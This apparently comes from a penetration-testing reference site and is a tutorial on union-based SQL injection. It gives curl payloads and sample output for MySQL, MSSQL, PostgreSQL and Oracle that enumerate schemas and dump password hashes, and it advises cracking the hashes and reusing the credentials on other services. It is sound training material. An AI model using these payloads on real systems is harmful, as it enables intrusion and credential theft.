# Union-Based SQL Injection Exploitation

- **URL:** https://hackindex.io/services/web/exploitation/sql-injection/union-based-sqli
- **Path:** HTTP/HTTPS > Exploitation > SQL Injection Exploitation
- **Up:** [SQL Injection Exploitation](https://hackindex.io/services/web/exploitation/sql-injection.md)
- **Published:** 2026-03-28
- **Updated:** 2026-03-28

Union-based SQL injection appends a UNION SELECT statement to the original query to retrieve data from other tables. It requires the query results to be reflected in the HTTP response and the injected SELECT to match the column count and data types of the original query. This is the fastest extraction method when it works. When output is not reflected, fall back to [error-based](https://hackindex.io/services/web/exploitation/sql-injection/error-based-sqli) or [blind extraction](https://hackindex.io/services/web/exploitation/sql-injection/blind-sqli). See the [SQL injection hub](https://hackindex.io/services/web/exploitation/sql-injection) for technique selection.

- **Column count determination** uses ORDER BY increments until an error reveals the count.
- **Reflected column identification** injects marker strings to find which columns appear in the response.
- **Metadata extraction** pulls database version, user, schema names, tables, and columns from information_schema.
- **Credential dumping** reads usernames and password hashes from the users table via group_concat.

## Determine Column Count

The UNION SELECT must match the original query's column count exactly. Use ORDER BY to find the column count without needing to know it: increment until you get an error:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 ORDER BY 1--" | wc -c
# 4823
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 ORDER BY 4--" | grep -i 'error\|unknown column'
# Unknown column '4' in 'order clause'
```

An error on ORDER BY 4 but not on ORDER BY 3 means the query has 3 columns. Now find which columns are reflected in the response by injecting null values:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,NULL,NULL--" | grep -iE 'null|error'
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT 'COLTEST1','COLTEST2','COLTEST3'--" | grep 'COLTEST'
# Product: COLTEST2 | Description: COLTEST3
```

Columns 2 and 3 are reflected. Use these positions for data extraction. Set id=0 to make the original query return no rows so only UNION results appear.

## Extract Database Metadata

With reflected columns identified, pull database version, current user, and database name:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,version(),user()--" | grep -oE 'COLTEST[0-9]|[0-9]+\.[0-9]+\.[0-9]+|@[a-z]+'
# 5.7.33-0ubuntu0
# root@localhost
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(schema_name),NULL FROM information_schema.schemata--" | grep -oE 'information_schema|[a-z_]+'
# information_schema,webapp,mysql
```

## Extract Tables and Columns

Enumerate the application database schema:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema='webapp'--"
# users,products,orders,sessions
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='users'--"
# id,username,password,email,role
```

## Dump Credentials

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password SEPARATOR '
'),NULL FROM webapp.users--"
# admin:5f4dcc3b5aa765d61d8327deb882cf99
# editor:8d3533d75ae2c3966d7e0d4fcc69216b
```

MD5 hashes: crack with hashcat mode 0. Pass cracked credentials back into the login page and test for reuse across SSH, FTP, and other services on the target.

## MSSQL UNION Injection

MSSQL uses `--` for comments (no trailing space required, unlike MySQL). String concatenation uses `+` instead of `CONCAT()`. For aggregating multiple rows into one result, use `string_agg()` on SQL Server 2017+ or `FOR XML PATH('')` on older versions. MSSQL uses `TOP` instead of `LIMIT` and `information_schema` is available alongside the legacy `sysobjects`/`syscolumns` views.

**Version and current user**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,@@version,NULL--"
# Microsoft SQL Server 2019 (RTM) - 15.0.2000.5
```

**List databases**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(name,','),NULL FROM master.dbo.sysdatabases--"
# master,tempdb,model,msdb,webapp
```

On SQL Server versions before 2017 where `string_agg()` is not available, use `FOR XML PATH` to concatenate rows:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT table_name+',' FROM information_schema.tables WHERE table_catalog='webapp' FOR XML PATH('')),NULL--"
# users,sessions,orders,api_keys,
```

**List columns and dump credentials**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--"
# id,username,password,email,role
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,username+':'+password,NULL FROM webapp.dbo.users--"
# admin:5f4dcc3b5aa765d61d8327deb882cf99
```

MSSQL returns one row per request without `string_agg()` or `FOR XML PATH`. Use `TOP 1 ... WHERE username NOT IN ('admin')` to iterate through rows, or aggregate into a single field.

## PostgreSQL UNION Injection

PostgreSQL uses `--` for comments, `||` for string concatenation, and supports `LIMIT`/`OFFSET` like MySQL. Use `string_agg()` to concatenate multiple rows. Schema enumeration can use `information_schema` (standard) or `pg_catalog` system tables.

**Version and current user**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,version(),NULL--"
# PostgreSQL 14.5 on x86_64-pc-linux-gnu
```

**List databases and tables**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(datname,','),NULL FROM pg_database WHERE datistemplate=false--"
# postgres,webapp
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(tablename,','),NULL FROM pg_tables WHERE schemaname='public'--"
# users,sessions,orders,api_keys
```

**List columns and dump credentials**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--"
# id,username,password,email,role
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(username||':'||password,E'\n'),NULL FROM users--"
# admin:5f4dcc3b5aa765d61d8327deb882cf99
# editor:8d3533d75ae2c3966d7e0d4fcc69216b
```

## Oracle UNION Injection

Oracle requires every SELECT to include a `FROM` clause. Use `FROM dual` for scalar values. String concatenation uses `||`. Oracle has no `LIMIT` clause. Use `WHERE ROWNUM <= N` to restrict rows (Oracle 11g and earlier) or `FETCH FIRST N ROWS ONLY` on 12c+. Aggregate multiple rows with `LISTAGG()`. Schema enumeration uses `all_tables` and `all_tab_columns` instead of `information_schema`.

**Version and current user**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT banner FROM v\$version WHERE ROWNUM=1),NULL FROM dual--"
# Oracle Database 19c Enterprise Edition Release 19.0.0.0.0
```

**List tables and columns**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM all_tables WHERE owner='WEBAPP'),NULL FROM dual--"
# API_KEYS,ORDERS,SESSIONS,USERS
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT LISTAGG(column_name,',') WITHIN GROUP (ORDER BY column_name) FROM all_tab_columns WHERE table_name='USERS'),NULL FROM dual--"
# EMAIL,ID,PASSWORD,ROLE,USERNAME
```

**Dump credentials**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT LISTAGG(username||':'||password,CHR(10)) WITHIN GROUP (ORDER BY username) FROM WEBAPP.USERS),NULL FROM dual--"
# admin:5f4dcc3b5aa765d61d8327deb882cf99
# editor:8d3533d75ae2c3966d7e0d4fcc69216b
```

Oracle table and column names are uppercase by default. If queries return nothing, try uppercase object names. `LISTAGG()` has a 4000-byte limit on the result. For tables with many columns, use multiple queries or filter with `WHERE column_name LIKE '%PASS%'`.

## Data Type Mismatch Troubleshooting

When UNION SELECT fails with a type mismatch error, the injected columns have incompatible data types with the original query. Common error messages:

- MySQL: `The used SELECT statements have a different number of columns`
- MSSQL: `Conversion failed when converting the varchar value to data type int`
- PostgreSQL: `UNION types text and integer cannot be matched`
- Oracle: `ORA-01790: expression must have same datatype as corresponding expression`

Start by using NULL in all UNION positions. NULL is compatible with any type across all databases. Then replace one NULL at a time with a test string to find which columns accept text. For integer-only columns, use `CAST()` or `CONVERT()` to match the expected type:

```sql
-- When column 1 expects an integer
UNION SELECT 1,'test_string',NULL--

-- MSSQL: explicit cast
UNION SELECT NULL,CONVERT(varchar,@@version),NULL--

-- PostgreSQL: explicit cast
UNION SELECT NULL,version()::text,NULL--

-- Oracle: explicit cast
UNION SELECT NULL,CAST(banner AS VARCHAR2(200)),NULL FROM v$version WHERE ROWNUM=1--
```

If all columns are integer types and no string column is available, extract data numerically using ASCII values. Convert each character to its ASCII code and read the output as numbers. This is slower but bypasses strict type enforcement.

## Comment Syntax by Database

Comment style varies by database. Use the correct terminator for the target:

| Database | Comment |
| --- | --- |
| MySQL | -- (space after) or # |
| MSSQL | -- |
| Oracle | -- |
| PostgreSQL | -- |
| SQLite | -- |

## References

- [PortSwigger: Union Attacks](https://portswigger.net/web-security/sql-injection/union-attacks) - Column count determination and data type matching for UNION injection
